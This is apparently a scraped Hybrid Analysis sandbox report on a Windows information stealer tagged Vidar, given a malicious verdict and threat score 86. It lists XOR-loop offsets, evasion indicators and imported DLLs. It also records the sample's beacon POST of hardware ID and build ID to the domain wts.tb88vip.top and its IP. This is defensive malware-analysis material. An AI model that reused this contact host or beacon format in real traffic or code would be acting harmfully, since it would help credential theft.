Gecko/20100101 Firefox/156.9Content-Length: 345Host: wts.tb88vip.top"2d:T1fb7,Found XOR loop in file "sample.bin" at offset 89106; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1248549; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1340926; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1384538; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1480589; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1607598; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1706750; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1864878; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1901425; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1962074; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2073933; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2190413; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2497961; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2808696; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2808744; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2809728; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2809884; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2809944; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2810196; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2810628; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2811360; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2812056; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2812884; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2812992; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2813364; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2815080; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2815620; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2816076; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2816124; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2816352; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2816820; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2817048; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2817060; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2817312; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2817924; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2818008; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2818032; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2818344; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2818848; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2818896; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2819220; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2819232; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2820744; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2820924; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2822460; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2822964; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2823480; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2823492; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2823516; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2823816; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2823852; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2823996; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2824056; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2824104; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2824500; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2824548; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2824560; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2824620; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2824740; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2825580; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2826252; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2826324; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2826636; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2826684; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2826696; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2826720; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2826732; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2826744; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2826756; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2826768; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2826780; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 975704; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1471682; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2012692; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2550149; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 168; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 185718; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 223529; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 223889; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 224289; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 226451; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 248881; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 269008; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 410757; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 411453; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 412094; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 422473; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 872824; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1178406; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1318826; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1372117; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1446072; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1481725; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1492906; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1583061; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1701048; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1721045; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1725653; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1787605; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1868886; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1937621; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2038465; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2143997; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2172292; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2338926; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2591136; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2648044; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2738144; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2877268; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2881786; code bytes = 80302e:T9f2," HTTP/1.1 200 OK Date: Wed 08 Jul 2026 15:47:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Vary: Accept-Encoding Cf-Cache-Status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=10 cfOrigin;dur=884 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=3rS8%2FnX7GMRo0bJ386On%2B10Y6HZWyywylB0cxCBVLVqafTdT3NwJzPKp2Nn%2FA0c3e5wpjOpMaIsVZQzKeRmTRmEdqATNVt%2B2OeNWd84LDWbUP1cAtaPsMiBLHNFdLtWG1Ms%3D"}]} Content-Encoding: gzip CF-RAY: a1803aef884ef457-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6F6B.......34:T8b5," "------d0f38c0a0f061655ca89Content-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058-E2D2783------d0f38c0a0f061655ca89Content-Disposition: form-data; name="build_id"e1aecbee74591adfdcd5a31f377b963a------d0f38c0a0f061655ca89Content-Disposition: form-data; name="format"json------d0f38c0a0f061655ca89--" HTTP/1.1 200 OK Date: Wed 08 Jul 2026 15:47:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Vary: Accept-Encoding Cf-Cache-Status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=3 cfOrigin;dur=329 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=rm8UUrKpOMdlh9P1i8WRh4nVJsH6Hl0Y8X%2Bec6Win%2FAfH4jr0g4GEnTbc6UWvE4YLXnJVUMi4YkmGlLn4gUzMv1tMOZS3vz9aF%2FEcVDSOsDZxnSZ5J8Mrpjubw0ygzKMNfE%3D"}]} Content-Encoding: gzip CF-RAY: a1803af589baf457-SJC alt-svc: h3=":443"; ma=86400 with response body ==>626C6F636B.......43:Td0c," tE!\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a4e710d745a2cde9e0039ab"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin\" has section name .rdata with entropy \"7.18072901390061\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6a4e710d745a2cde9e0039ab"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Sets the 'ThreadHideFromDebugger' thread data structure","description":"\" \"------d0f38c0a0f061655ca89Content-Disposition: form-data; name=\"hwid\"23EBD35BE7F8D3C20DA4-d27478a5-2058-E2D2783------d0f38c0a0f061655ca89Content-Disposition: form-data; name=\"build_id\"e1aecbee74591adfdcd5a31f377b963a------d0f38c0a0f061655ca89Content-Disposition: form-data; name=\"format\"json------d0f38c0a0f061655ca89--\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"6a4e710d745a2cde9e0039ab"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"POSTs data to a web server"},{"detail":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"6a4e710d745a2cde9e0039ab"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Sets the 'ThreadHideFromDebugger' thread data structure"}],"sources":[{"report_type":"sandbox","report_id":"6a4e710d745a2cde9e0039ab"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"6a4e710d745a2cde9e0039ab"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":2,"imported_dlls_count":51,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":1,"files_deleted_count":0,"registry_keys_created_count":3,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["commodity","vidarstealer","credentialharvesting","criminal","informationstealer","downloader","evasive","suspicious"],"sample_flags":["Network Traffic"],"sandbox_reports":[{"id":"6a4e710d745a2cde9e0039ab","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":86,"malware_family":"Kryptik.PL trojan","submit_name":"06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin","analysis_start_time":"2026-07-08T15:47:27+00:00","indicators_count":{"informative":147,"suspicious":27,"malicious":2},"tags":["Network Traffic"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"104.21.9.22","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6a4e710d745a2cde9e0039ab"}]}],"dns_resolutions":[{"domain":"wts.tb88vip.top","address":"104.21.9.22","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6a4e710d745a2cde9e0039ab"}]}],"http_requests":[{"host":"wts.tb88vip.top","host_ip":"104.21.9.22:443","url":"/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET / HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:156.9) Gecko/20100101 Firefox/156.9\nHost: wts.tb88vip.top","sources":[{"report_type":"sandbox","report_id":"6a4e710d745a2cde9e0039ab"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6a4e710d745a2cde9e0039ab"}],"processes":[{"pid":4468,"ppid":0,"name":"06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin.exe","command_line":"","sha256":"06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949","normalized_path":"C:\\06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949.bin.exe","uid":"00000000-00004468","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="}],"all_imported_dlls":["sspicli.dll","dnsapi.dll","rasadhlp.dll","VxSSL64.dll","user32.dll","ole32.dll","bcryptprimitives.dll","oleaut32.dll","mswsock.dll","ncryptsslp.dll","rpcrt4.dll","msvcp_win.dll","combase.dll","imm32.dll","schannel.dll","msasn1.dll","rsaenh.dll","cryptbase.dll","msvcrt.dll","powrprof.dll","FWPUCLNT.DLL","mskeyprotect.dll","ntasn1.dll","kernel32.dll","ucrtbase.dll","cryptsp.dll","winhttp.dll","KernelBase.dll","ws2_32.dll","webio.dll","gpapi.dll","win32u.dll","shlwapi.dll","OnDemandConnRouteHelper.dll","winnsi.dll","crypt32.dll","ncrypt.dll","dpapi.dll","apphelp.dll","gdi32.dll","gdi32full.dll","advapi32.dll","sechost.dll","winmmbase.dll","cfgmgr32.dll","bcrypt.dll","ntdll.dll","fltLib.dll","winmm.dll","IPHLPAPI.DLL","nsi.dll"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6a4e710d745a2cde9e0039ab"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6a4e710d745a2cde9e0039ab"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6a4e710d745a2cde9e0039ab"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\","sources":[{"report_type":"sandbox","report_id":"6a4e710d745a2cde9e0039ab"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Gernsoalse","sources":[{"report_type":"sandbox","report_id":"6a4e710d745a2cde9e0039ab"}]},{"name":"Gernsoalse","sources":[{"report_type":"sandbox","report_id":"6a4e710d745a2cde9e0039ab"}]}]}},"report_ids":{"sandbox_job_ids":["6a4e710d745a2cde9e0039ab"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Win/malicious_confidence_70% Sample 06f915bc056a… — Score 86/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 06f915bc056a…. Malware family: Win/malicious_confidence_70%. Threat score 86/100. 2/27 AV engines flagged this file. 2 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949"}],["$","meta","4",{"property":"og:title","content":"Malicious Win/malicious_confidence_70% Sample 06f915bc056a… — Score 86/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 06f915bc056a…. Malware family: Win/malicious_confidence_70%. Threat score 86/100. 2/27 AV engines flagged this file. 2 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/06f915bc056a74c1c9b6faa3098a700ef4e5f54b8b1e84f73c70dcc6f5096949"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Win/malicious_confidence_70% Sample 06f915bc056a… — Score 86/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 06f915bc056a…. Malware family: Win/malicious_confidence_70%. Threat score 86/100. 2/27 AV engines flagged this file. 2 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L46","11",{}]]